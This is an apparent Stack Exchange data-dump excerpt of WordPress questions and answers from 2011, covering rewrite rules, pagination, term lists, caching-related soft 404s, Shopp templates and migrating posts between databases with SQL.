  <row Id="12743" PostTypeId="2" ParentId="12742" CreationDate="2011-03-22T18:27:24.330" Score="3" ViewCount="" Body="&lt;p&gt;This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpa12742_init' );&#xA;&#xA;function wpa12742_init(){&#xA;  add_rewrite_rule( 'category/(.+?)/(\d{4})/?$', 'index.php?category_name=$matches[1]&amp;amp;year=$matches[2]', 'top' );&#xA;  add_rewrite_rule( 'category/(.+?)/(\d{4})/page/(\d+)/?$', 'index.php?category_name=$matches[1]&amp;amp;year=$matches[2]&amp;amp;paged=$matches[3]', 'top' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;On second thought, that's not enough, since you'll get caught by &lt;code&gt;redirect_canonical()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'term_link', 'wpa12743_term_link', 10, 3 );&#xA;&#xA;function wpa12743_term_link( $link, $term, $taxonomy ){&#xA;  if('category' != $taxonomy &amp;amp;&amp;amp; !preg_match( '@^\d{4}$@', get_query_var('year') ) )&#xA;    return $link;&#xA;  return trailingslashit( $link ) . get_query_var( 'year' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-03-22T18:33:12.890" LastActivityDate="2011-03-22T18:33:12.890" CommentCount="2" />
  <row Id="12744" PostTypeId="1" AcceptedAnswerId="12756" CreationDate="2011-03-22T18:31:02.617" Score="1" ViewCount="105" Body="&lt;p&gt;hey guys,&#xA;i know there is something like &#xA;&lt;code&gt;if ( function_exists('')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it possible to use that with &lt;code&gt;next_posts_link()&lt;/code&gt; and &lt;code&gt;previous_posts_link()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I'm asking that is that I have something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;next-posts&quot;&amp;gt;&amp;lt;?php next_posts_link('&amp;amp;laquo; older') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;prev-posts&quot;&amp;gt;&amp;lt;?php previous_posts_link('newer &amp;amp;raquo;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my case div.navigation has a colored background and a fixed height. So even there is no next or perv post this div.navigation appears. I wonder if I can only display this if there exists a next or prev post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to do that?&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-03-23T05:19:30.307" Title="only show container with next/prev links if they exist?" Tags="&lt;php&gt;&lt;query&gt;&lt;functions&gt;" AnswerCount="3" />
  <row Id="12745" PostTypeId="2" ParentId="12530" CreationDate="2011-03-22T18:39:36.363" Score="0" ViewCount="" Body="&lt;p&gt;I discovered the problem was somehow caused by a &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts&quot; rel=&quot;nofollow&quot;&gt;pre_get_posts&lt;/a&gt; filter in my functions.php. In fact, I had an issue with this filter &lt;a href=&quot;http://wordpress.org/support/topic/troubleshooting-wordpress-31-master-list#post-2007723&quot; rel=&quot;nofollow&quot;&gt;before&lt;/a&gt;, so I should've known ;) Cheers!&lt;/p&gt;&#xA;" OwnerUserId="4139" LastActivityDate="2011-03-22T18:39:36.363" />
  <row Id="12746" PostTypeId="1" AcceptedAnswerId="12752" CreationDate="2011-03-22T18:50:26.010" Score="1" ViewCount="184" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_the_term_list( $post-&amp;gt;ID, 'people', 'People: ', ' ', '' ); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;People: &amp;lt;a href=&quot;person1&quot;&amp;gt;Person1&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;person2&quot;&amp;gt;Person2&amp;lt;/a&amp;gt;, ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I make it return the same thing without links like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;People: Person1, Person2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-04-19T04:55:47.880" Title="How can I remove links from the function &quot;get term list&quot;?" Tags="&lt;taxonomy&gt;&lt;terms&gt;" AnswerCount="2" />
  <row Id="12747" PostTypeId="1" CreationDate="2011-03-22T19:07:43.790" Score="2" ViewCount="90" Body="&lt;p&gt;I've created a plugin that lets users build super-simple landing pages for mobile devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pages my plugin creates are of a custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to provide users with an option to &quot;disable all other plugins on this page&quot;, to prevent things like tweetmeme, facebook like buttons, and other third-party plugin generated content from displaying inside my plugin's template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added an option that lets the user prevent the call to wp_head, but what about those that inject content elsewhere in the page, e.g. by flitering the_content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After typing this out, I'm thinking that a combination of supressing wp_head() plus a remove_all_filters('the_content') might do the trick, but I'll go ahead and post this question anyhow in case any of you have better suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2011-08-20T08:32:35.207" Title="Disable Other Plugins on my Custom Post Type?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="12748" PostTypeId="2" ParentId="12742" CreationDate="2011-03-22T19:12:53.213" Score="3" ViewCount="" Body="&lt;p&gt;Ahhh &lt;code&gt;redirect_canonical&lt;/code&gt; was the culprit. Here's how I weeded this bugger out...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function kill_canonical_redirect($redirect_url, $requested_url) {&#xA;    global $wp;&#xA;    if($wp-&amp;gt;matched_rule == 'category/(.+?)/(\d\d\d\d)/?$') { &#xA;        return false;&#xA;    } else {&#xA;        return $redirect_url;&#xA;    }&#xA;}&#xA;add_filter('redirect_canonical', 'kill_canonical_redirect', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically I look at the rewrite rule that matched the page request and if it is the one I wrote then I know I can kill the canonical redirect by simply returning false. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps the more helpful info for anyone reading over this is how I figured this out. I installed the Better HTTP Redirects plugin ( &lt;a href=&quot;http://hakre.wordpress.com/2011/03/20/how-to-debug-redirect-problems-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://hakre.wordpress.com/2011/03/20/how-to-debug-redirect-problems-in-wordpress/&lt;/a&gt; ) which has a really handy redirect debugging tool when &lt;code&gt;WP_DEBUG&lt;/code&gt; is set to true in &lt;code&gt;wp-config.php&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there I realized the redirect was being triggered from Line 367 of &lt;code&gt;/wp-includes/canonical.php&lt;/code&gt; so after looking at the source code on Trac ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/canonical.php#L367&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/trunk/wp-includes/canonical.php#L367&lt;/a&gt; ), I figured out how to kill the canonical redirect.&lt;/p&gt;&#xA;" OwnerUserId="2744" LastActivityDate="2011-03-22T19:12:53.213" CommentCount="2" />
  <row Id="12750" PostTypeId="2" ParentId="12747" CreationDate="2011-03-22T19:18:00.903" Score="0" ViewCount="" Body="&lt;p&gt;There's a function (which i can't find at the moment) that gives you back an array of all plugins in your blog... Some &lt;code&gt;get_whatever_xyz()&lt;/code&gt; ...&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-22T19:18:00.903" />
  <row Id="12751" PostTypeId="2" ParentId="12274" CreationDate="2011-03-22T19:26:54.467" Score="0" ViewCount="" Body="&lt;p&gt;Seems like trying to put &quot;field X&quot; into db.table.record.fieldY is too atomic, or requires a better magic wand than google can find.  I've gone a head and just ripped the posts out wholesale and injected them into the new DB. &#xA;Here's how I did it.  I hope it helps the next poor sod who finds himself in the same place I was...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to rip out and inject WordPress posts from an old database into a new one.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0)&lt;/strong&gt; Make a backup first of the new DB.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysqldump -u root -p new_db &amp;gt;&amp;gt; dump-new_db-datetime.sql&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; first, find all your old published posts &amp;amp; pages;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT id,post_date,post_title FROM old_db.old_posts WHERE&#xA; post_type = 'post' AND post_status = 'publish' ORDER BY id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; Delete all your revisions with;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM old_posts WHERE post_type = &quot;revision&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; inject your old posts &amp;amp; pages into the new DB&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO new_db.new_posts&#xA;  (&#xA;  post_author,&#xA;  post_date,&#xA;  post_date_gmt,&#xA;  post_content,&#xA;  post_title,&#xA;  post_excerpt,&#xA;  post_status,&#xA;  comment_status,&#xA;  ping_status,&#xA;  post_password,&#xA;  post_name,&#xA;  to_ping,&#xA;  pinged,&#xA;  post_modified,&#xA;  post_modified_gmt,&#xA;  post_content_filtered,&#xA;  post_parent,&#xA;  guid,&#xA;  menu_order,&#xA;  post_type,&#xA;  post_mime_type,&#xA;  comment_count&#xA;  )&#xA;SELECT&#xA;  old_posts.post_author,&#xA;  old_posts.post_date,&#xA;  old_posts.post_date_gmt,&#xA;  old_posts.post_content,&#xA;  old_posts.post_title,&#xA;  old_posts.post_excerpt,&#xA;  old_posts.post_status,&#xA;  old_posts.comment_status,&#xA;  old_posts.ping_status,&#xA;  old_posts.post_password,&#xA;  old_posts.post_name,&#xA;  old_posts.to_ping,&#xA;  old_posts.pinged,&#xA;  old_posts.post_modified,&#xA;  old_posts.post_modified_gmt,&#xA;  old_posts.post_content_filtered,&#xA;  old_posts.post_parent,&#xA;  old_posts.guid,&#xA;  old_posts.menu_order,&#xA;  old_posts.post_type,&#xA;  old_posts.post_mime_type,&#xA;  old_posts.comment_count&#xA;FROM old_db.old_posts;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4004" LastActivityDate="2011-03-22T19:26:54.467" />
  <row Id="12752" PostTypeId="2" ParentId="12746" CreationDate="2011-03-22T19:39:50.907" Score="5" ViewCount="" Body="&lt;p&gt;It may be easier to just write the list manually, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$terms = wp_get_post_tags( $post-&amp;gt;ID );&#xA;&#xA;foreach( $terms as $term )&#xA;    $term_names[] = $term-&amp;gt;name;&#xA;&#xA;echo implode( ', ', $term_names );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2011-03-22T19:39:50.907" CommentCount="3" />
  <row Id="12753" PostTypeId="2" ParentId="3357" CreationDate="2011-03-22T19:46:38.073" Score="0" ViewCount="" Body="&lt;p&gt;Not sure if I can post external links here, but I've just &lt;a href=&quot;http://www.ilovecolors.com.ar/avoid-hierarchical-taxonomies-to-loose-hierarchy/&quot; rel=&quot;nofollow&quot;&gt;solved this&lt;/a&gt; for custom taxonomies or WordPress internal categories.&lt;/p&gt;&#xA;" OwnerUserId="3013" LastActivityDate="2011-03-22T19:46:38.073" />
  <row Id="12754" PostTypeId="1" AcceptedAnswerId="13496" CreationDate="2011-03-22T19:58:29.670" Score="4" ViewCount="189" Body="&lt;p&gt;Is there a way to remove &lt;code&gt;wptexturize&lt;/code&gt; only for a certain shortcode?&lt;/p&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="2415" LastEditorDisplayName="" LastEditDate="2011-03-22T20:37:51.570" LastActivityDate="2011-03-30T15:52:23.520" Title="Remove wptexturize from a shortcode?" Tags="&lt;shortcode&gt;&lt;formatting&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="12755" PostTypeId="2" ParentId="12744" CreationDate="2011-03-22T20:04:06.913" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at my &lt;a href=&quot;https://github.com/franz-josef-kaiser/Easy-Pagination-Deamon&quot; rel=&quot;nofollow&quot;&gt;(educational) &quot;Easy Pagination Deamon&quot; plugin&lt;/a&gt;. I reworked it for readability and it shows you all possibilities you got with pagination.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-22T20:04:06.913" />
  <row Id="12756" PostTypeId="2" ParentId="12744" CreationDate="2011-03-22T20:05:17.447" Score="0" ViewCount="" Body="&lt;p&gt;Check out this link:&#xA;&lt;a href=&quot;http://www.ericmmartin.com/conditional-pagepost-navigation-links-in-wordpress-redux/&quot; rel=&quot;nofollow&quot;&gt;http://www.ericmmartin.com/conditional-pagepost-navigation-links-in-wordpress-redux/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-03-22T20:05:17.447" />
  <row Id="12758" PostTypeId="1" AcceptedAnswerId="12779" CreationDate="2011-03-22T20:17:42.543" Score="0" ViewCount="121" Body="&lt;p&gt;I just realized, that i got a complete &lt;strong&gt;*empty WP_Query object*&lt;/strong&gt; on my plain wordpress install. I reseted the DB, deactivated all plugins and activated TwentyTen as theme, but the complete Object simply is empty on every request (public &amp;amp; admin facing). It doesn't matter if i request the &quot;&lt;em&gt;Hello World&lt;/em&gt;&quot; post or a &lt;code&gt;404&lt;/code&gt;. Everything is empty. What reason could this have?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt;&lt;br&gt;&#xA;This is how i inspect &lt;strong&gt;WP_Query&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// inserted on top of the functions.php file, &#xA;// so it's equal to a function hooked into the 'after_setup_theme' hook  &#xA;// i also tried other hooks (which should make no difference) and got the same result.&#xA;    echo '&amp;lt;pre&amp;gt;'; &#xA;        print_r($GLOBALS['wp_query']); &#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the result from the &lt;code&gt;print_r();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WP_Query Object&#xA;(&#xA;    [query] =&amp;gt; &#xA;    [query_vars] =&amp;gt; Array&#xA;        (&#xA;        )&#xA;&#xA;    [tax_query] =&amp;gt; &#xA;    [queried_object] =&amp;gt; &#xA;    [queried_object_id] =&amp;gt; &#xA;    [request] =&amp;gt; &#xA;    [posts] =&amp;gt; &#xA;    [post_count] =&amp;gt; 0&#xA;    [current_post] =&amp;gt; -1&#xA;    [in_the_loop] =&amp;gt; &#xA;    [post] =&amp;gt; &#xA;    [comments] =&amp;gt; &#xA;    [comment_count] =&amp;gt; 0&#xA;    [current_comment] =&amp;gt; -1&#xA;    [comment] =&amp;gt; &#xA;    [found_posts] =&amp;gt; 0&#xA;    [max_num_pages] =&amp;gt; 0&#xA;    [max_num_comment_pages] =&amp;gt; 0&#xA;    [is_single] =&amp;gt; &#xA;    [is_preview] =&amp;gt; &#xA;    [is_page] =&amp;gt; &#xA;    [is_archive] =&amp;gt; &#xA;    [is_date] =&amp;gt; &#xA;    [is_year] =&amp;gt; &#xA;    [is_month] =&amp;gt; &#xA;    [is_day] =&amp;gt; &#xA;    [is_time] =&amp;gt; &#xA;    [is_author] =&amp;gt; &#xA;    [is_category] =&amp;gt; &#xA;    [is_tag] =&amp;gt; &#xA;    [is_tax] =&amp;gt; &#xA;    [is_search] =&amp;gt; &#xA;    [is_feed] =&amp;gt; &#xA;    [is_comment_feed] =&amp;gt; &#xA;    [is_trackback] =&amp;gt; &#xA;    [is_home] =&amp;gt; &#xA;    [is_404] =&amp;gt; &#xA;    [is_comments_popup] =&amp;gt; &#xA;    [is_paged] =&amp;gt; &#xA;    [is_admin] =&amp;gt; &#xA;    [is_attachment] =&amp;gt; &#xA;    [is_singular] =&amp;gt; &#xA;    [is_robots] =&amp;gt; &#xA;    [is_posts_page] =&amp;gt; &#xA;    [is_post_type_archive] =&amp;gt; &#xA;    [parsed_tax_query] =&amp;gt; &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-23T01:32:37.217" LastActivityDate="2011-03-23T01:46:00.913" Title="empty WP_Query object on local install" Tags="&lt;wp-query&gt;&lt;localhost&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="12759" PostTypeId="1" CreationDate="2011-03-22T20:52:11.383" Score="0" ViewCount="139" Body="&lt;p&gt;I am using the Shopp plugin and wanted to remove the quantity dropdown so a customer can only add one at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts or help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4143" LastActivityDate="2011-08-26T22:35:14.637" Title="Shopp Plugin Remove Quantity Dropdown" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="12760" PostTypeId="1" CreationDate="2011-03-22T20:58:40.723" Score="0" ViewCount="90" Body="&lt;p&gt;I want to use a Regular Expression(regex) to test the value of a form's zipcode field on a WordPress page, then based upon those results either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Selectively assign/reveal price fields on the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;or&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Selectively redirect user to a page having the result-specific pricing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the regex and the js pseudo-code skeleton.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var  zip5 = event.value.toString();&#xA;&#xA;var myRegExp = /^92(2|3|5)/;&#xA;&#xA;if ( zip5.length === 5 &amp;amp;&amp;amp; myRegExp.test(zip5))&#xA;{&#xA;    // Code to assign/display price set #1 on same page...or&#xA;    // Code to move to Wordpress Page with Price Set #1&#xA;}&#xA;else&#xA;{&#xA;    // Code to assign/display price set #2 on same page...or&#xA;    // Code to move to Wordpress Page with Price Set #2&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4145" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-23T11:25:09.747" LastActivityDate="2011-03-24T06:36:28.917" Title="Testing a Form's Zipcode Field with Regular Expressions to Determine Wordpress Page Behaviour" Tags="&lt;php&gt;&lt;javascript&gt;&lt;forms&gt;&lt;regex&gt;" AnswerCount="2" />
  <row Id="12761" PostTypeId="2" ParentId="12760" CreationDate="2011-03-22T21:28:02.310" Score="1" ViewCount="" Body="&lt;p&gt;I think you've more or less got what you need. You've got a textfield in an HTML form. That form needs to sit in a template file somewhere in a WordPress theme. This template file generates uncached pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the PHP template for said template file, check the $_POST (or &lt;a href=&quot;http://php.net/manual/en/reserved.variables.request.php&quot; rel=&quot;nofollow&quot;&gt;$_REQUEST&lt;/a&gt;) object for the form field ID you've set in the HTML. Then do your templating logic in the kind of if..else logic block you outline in psudeocode above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( isset( $_POST['form_field_id'] ) &amp;amp;&amp;amp; validation_function( $_POST['form_field_id'] ) ) {&#xA;  //stuff to display to validated zipcodes   &#xA;} else {&#xA;  //stuff to display to non-validated zipcodes&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your validation function can probably go anywhere, but is likely most accessable via functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function validation_function($text_to_validate) {&#xA;   $validation_result = [preg_match][2](&quot;/^92(2|3|5)/&quot;,$text_to_validate);&#xA;   if( count( $validation_result ) &amp;gt; 1 ) {&#xA;      return true;&#xA;   } else {&#xA;      return false;&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-03-22T21:28:02.310" />
  <row Id="12762" PostTypeId="1" AcceptedAnswerId="12770" CreationDate="2011-03-22T21:29:56.117" Score="1" ViewCount="200" Body="&lt;p&gt;We are using CPT's to manage a frequently asked questions page on a site, where the question is the post title and the answer is the post content. There is a main page for the FAQs that shows all posts (FAQ archive page). With this structure we really have no need for the single view for any FAQ and in fact would like to omit it from the site structure. To address permalinks we'd like to set them to be something like example.com/faq/#uniqueIdentifier, thinking that we'll use the #uniqueIdentifier to match a div on the archive page containing the answer and call attention to it in some fashion. The uniqueIdentifier could be post ID, faq question title, data from a meta box, or something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let me recap what I need we need to accomplish:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) rewrite the faq permalinks to be /faq/#something, and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) make sure all /faq/ links route to archive template and not single&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mostly a noob but pretty good at fumbling my way through things. Have never attempted any rewrites though so would appreciate some particular direction on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you. &lt;/p&gt;&#xA;" OwnerUserId="3520" LastActivityDate="2011-03-22T22:43:08.287" Title="Custom post type, no need for single view, plus want permalink rewrites that include hash in URI" Tags="&lt;custom-post-types&gt;&lt;url-rewriting&gt;" AnswerCount="1" />
  <row Id="12763" PostTypeId="2" ParentId="12759" CreationDate="2011-03-22T21:38:22.013" Score="0" ViewCount="" Body="&lt;p&gt;You'll need to customize your Shopp template to do that. Under Shopp settings, in the Presentation tab, check &quot;Enable theme templates&quot;. That will copy the default Shopp template into your theme directory. Then from your theme directory you can edit the Shopp templates any way you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get rid of the product quantity dropdown, look in product.php for this line and comment it out or delete it:     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php shopp('product','quantity','class=selectall&amp;amp;input=menu'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Users will be limited to adding one item to the cart.&lt;/p&gt;&#xA;" OwnerUserId="799" LastActivityDate="2011-03-22T21:38:22.013" />
  <row Id="12764" PostTypeId="1" AcceptedAnswerId="12840" CreationDate="2011-03-22T21:59:58.497" Score="1" ViewCount="124" Body="&lt;p&gt;I have a blog running the latest stable version of WordPress on a dedicated virtual server with the following situation. (Replace &lt;em&gt;[caching plugin]&lt;/em&gt; with W3 Total Cache, Hyper Cache, or Quick Cache, as I've tried all three with the same results.)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;[caching plugin] is disabled. I visit a known bad link on my site (http://example.com/xyzz/) and receive a 404 error page. I can verify in Chrome's Inspector and/or Firebug that the &quot;404 Not Found&quot; status is being properly served  in the HTTP headers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I turn [caching plugin] on and visit the same URL. On the initial visit I am served a cached page (verified by the debugging comments inserted by the plugin at the bottom of the HTML source) with the proper &quot;404 Not Found&quot; status in the HTTP header. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I visit the page again (http://example.com/xyzz/), I'm served the same cached page from #2 above displaying the &quot;404 - Page Not Found&quot; error to the user, but with a &quot;200 OK&quot; status in the HTTP header. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I turn [caching plugin] off and visit the page again, I am again being served an uncached page with the correct &quot;404 Not Found&quot; status in the HTTP header. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any idea what might be going on here? This is seems to be causing some an issue where Google Bot is attempting to index some non-existent pages because its seeing the &quot;200 OK&quot; HTTP header instead of the proper 404.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2011-03-25T04:02:24.433" Title="Getting soft 404 errors (200 status) when caching plugins are enabled" Tags="&lt;cache&gt;&lt;404-error&gt;&lt;plugin-w3-total-cache&gt;&lt;http&gt;" AnswerCount="2" />
  <row Id="12765" PostTypeId="1" CreationDate="2011-03-22T22:02:16.557" Score="0" ViewCount="58" Body="&lt;p&gt;Hello I am having a problem in a pre tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of a suden all my '-&gt;' appear as '-&amp;amp;gt ;' on my blog.&#xA;How can I solve this?&#xA;I have updated to the newest version&lt;/p&gt;&#xA;" OwnerUserId="4146" LastEditorUserId="4146" LastEditorDisplayName="" LastEditDate="2011-03-23T07:49:38.223" LastActivityDate="2011-03-23T07:49:38.223" Title="Problem with -&gt; in pre tags" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="12766" PostTypeId="2" ParentId="12731" CreationDate="2011-03-22T22:20:22.700" Score="2" ViewCount="" Body="&lt;p&gt;You can also hide it via css, something like: &lt;code&gt;.comments_closed p { display: none; }&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-03-22T22:20:22.700" />
  <row Id="12767" PostTypeId="1" AcceptedAnswerId="12769" CreationDate="2011-03-22T22:27:30.583" Score="0" ViewCount="214" Body="&lt;p&gt;Under each comment there is a link called 'Reply'. I want to add a class to this link. It's default class is &lt;code&gt;comment-reply-link&lt;/code&gt;. How can I do so? I am creating my own theme and I don't want to manually edit files inside the wp-includes directory.&lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-04-01T01:50:17.597" Title="Add class to Reply button in Comments area" Tags="&lt;comment-form&gt;" AnswerCount="1" />
  <row Id="12768" PostTypeId="2" ParentId="12731" CreationDate="2011-03-22T22:40:20.630" Score="2" ViewCount="" Body="&lt;p&gt;Popup link takes five parameters. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;comments_popup_link('No Comments','One Comment','Many Comments','CSSclass','Comments Disabled');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you are on to the correct solution. Now just change the above strings to whatever you want them to be for each # of comments. Finally change 'Comments Disabled' to just &lt;code&gt;''&lt;/code&gt;. Or perhaps &lt;code&gt;'&amp;amp;nbsp;'&lt;/code&gt; if it requires you to put something in there.&lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-03-22T22:40:20.630" />
  <row Id="12769" PostTypeId="2" ParentId="12767" CreationDate="2011-03-22T22:41:15.153" Score="1" ViewCount="" Body="&lt;p&gt;In your comments.php template file use &lt;code&gt;wp_list_comments&lt;/code&gt; and set the parameter &lt;code&gt;callback&lt;/code&gt; to your defined function that will generate the template. Inside the function you can style the comment reply link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_comments&quot; rel=&quot;nofollow&quot;&gt;wp_list_comments codex&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Migrating_Plugins_and_Themes_to_2.7/Enhanced_Comment_Display&quot; rel=&quot;nofollow&quot;&gt;Further reading on comment display&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-03-22T22:41:15.153" CommentCount="5" />
